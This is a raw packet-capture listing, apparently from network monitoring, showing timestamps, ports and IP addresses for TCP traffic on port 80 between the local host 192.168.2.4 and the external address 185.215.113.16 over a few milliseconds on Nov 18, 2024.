Nov 18, 2024 21:04:09.248477936 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.248490095 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.248512983 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.248545885 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.248547077 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.248559952 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.248580933 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.248589993 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.248615980 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.248630047 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.248648882 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.248661995 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.248682022 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.248686075 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.248714924 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.248749018 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.248756886 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.248756886 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.248781919 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.248814106 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.248819113 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.248851061 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.248852968 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.248852968 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.248883963 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.248899937 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.248919010 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.248954058 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.248965025 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.248965025 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.249001980 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.249008894 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.249061108 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.249094963 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.249102116 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.249102116 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.249128103 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.249140978 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.249161959 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.249171972 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.249193907 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.249228954 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.249232054 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.249232054 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.249264002 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.249268055 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.249299049 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.249330997 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.249347925 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.249347925 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.249363899 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.249372005 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.249396086 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.249403954 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.249430895 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.249464989 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.249470949 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.249470949 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.249497890 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.249530077 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.249538898 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.249538898 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.249563932 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.249569893 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.249597073 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.249635935 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.249635935 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.249649048 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.249681950 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.249707937 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.249715090 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.249748945 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.249748945 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.249748945 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.249768019 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.249802113 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.249834061 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.249841928 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.249841928 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.249867916 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.249877930 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.249901056 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.249933958 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.249943018 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.249943018 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.249968052 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.249991894 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.250005007 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.250010967 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.250037909 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.250073910 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.250082016 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.250082016 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.250108004 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.250122070 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.250140905 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.250173092 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.250180960 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.250180960 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.250205994 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.250216007 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.250241041 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.250273943 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.250283957 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.250283957 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.250307083 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.250340939 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.250355005 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.250355005 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.250375032 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.250389099 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.250407934 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.250422001 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.250441074 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.250447989 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.250474930 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.250509024 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.250509024 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.250520945 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.250540972 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.250564098 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.250574112 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.250582933 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.250612020 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.250644922 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.250653982 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.250653982 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.250695944 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.250713110 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.250730038 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.250762939 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.250770092 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.250770092 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.250813007 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.250818968 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.250864983 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.250914097 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.250914097 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.250916004 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.250947952 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.250972986 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.250998974 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.251015902 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.251033068 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.251039028 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.251084089 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.251117945 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.251136065 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.251136065 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.251168013 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.251200914 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.251214981 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.251214981 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.251234055 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.251260042 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.251267910 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.251281977 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.251301050 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.251336098 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.251336098 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.251377106 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.251410961 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.251446962 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.251446962 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.251462936 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.251496077 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.251509905 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.251529932 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.251538038 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.251563072 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.251575947 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.251615047 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.251647949 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.251653910 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.251662016 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.251682043 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.251691103 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.251717091 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.251749992 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.251758099 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.251758099 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.251782894 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.251794100 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.251816988 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.251848936 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.251857996 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.251857996 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.251883030 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.251910925 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.251914978 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.251935959 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.251946926 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.251971960 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.251976967 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.251991987 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.252010107 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.252028942 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.252047062 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.252053022 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.252079010 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.252105951 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.252111912 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.252125978 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.252145052 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.252177954 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.252192020 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.252192020 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.252211094 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.252229929 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.252244949 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.252275944 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.252290010 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.252295971 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.252335072 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.252363920 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.252383947 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.252384901 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.252434015 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.252448082 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.252489090 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.252522945 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.252535105 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.252535105 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.252556086 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.252564907 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.252595901 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.252607107 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.252640963 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.252675056 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.252681971 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.252681971 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.252707005 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.252729893 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.252758980 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.252805948 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.252805948 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.252813101 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.252846003 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.252873898 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.252891064 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.252892017 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.252906084 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.252949953 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.252949953 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.252955914 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.252969980 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.252985954 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253000021 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253000975 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.253015995 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253030062 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253035069 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.253035069 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.253046989 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253062010 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253077030 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253087044 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.253087044 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.253101110 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253117085 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253123999 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.253133059 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253148079 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253161907 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253165007 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.253165007 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.253177881 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253190994 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.253195047 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253211021 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253225088 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253237963 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.253237963 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.253238916 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253257036 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253271103 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253278971 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.253278971 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.253287077 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253302097 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253315926 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253330946 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253345013 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.253345966 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.253345966 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253357887 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.253362894 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253377914 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253392935 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253406048 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.253407955 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253417015 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.253426075 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253441095 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253441095 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.253458023 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253473043 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253473043 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.253473043 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.253488064 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253501892 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253518105 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253525019 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.253525019 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.253534079 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253550053 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253565073 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253568888 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.253570080 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.253580093 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253595114 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253607035 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.253611088 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253624916 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.253626108 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253642082 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253649950 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.253659010 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.253681898 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.253695011 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.258495092 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.258508921 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.258609056 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.259407997 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.259423971 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.259439945 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.259480000 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.259480000 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.259512901 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.259527922 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.259542942 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.259557962 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.259588003 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.259588003 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.259603024 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.259607077 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.259618044 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.259634018 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.259649038 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.259650946 CET	49786	80	192.168.2.4	185.215.113.16
